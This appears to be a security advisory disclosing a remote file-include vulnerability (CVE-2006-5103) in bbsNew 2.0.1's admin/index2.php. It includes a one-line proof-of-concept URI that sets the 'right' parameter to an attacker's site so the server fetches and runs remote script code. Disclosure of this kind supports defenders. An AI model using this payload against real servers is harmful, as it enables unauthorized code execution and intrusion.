BBSNew Index2.PHP Remote File Include Vulnerability

Bugtraq ID:	20204
Class:	Input Validation Error
CVE:	CVE-2006-5103
Remote:	Yes
Local:	No
Published:	Sep 25 2006 12:00AM
Updated:	Oct 30 2006 08:32PM
Credit:	Root3r_H3ll has been credited with the discovery of this vulnerability.
Vulnerable:	bbsNew bbsNew 2.0.1
Not Vulnerable:

BBSNew Index2.PHP Remote File Include Vulnerability

bbsNew is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

BBSNew Index2.PHP Remote File Include Vulnerability

Attackers can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/[Path]/admin/index2.php?right=attacker's site

The following exploit is available:

• /data/vulnerabilities/exploits/20204.pl

BBSNew Index2.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

BBSNew Index2.PHP Remote File Include Vulnerability

References:

• bbsNew ( File Include Vulnerability Exploit ) ([email protected])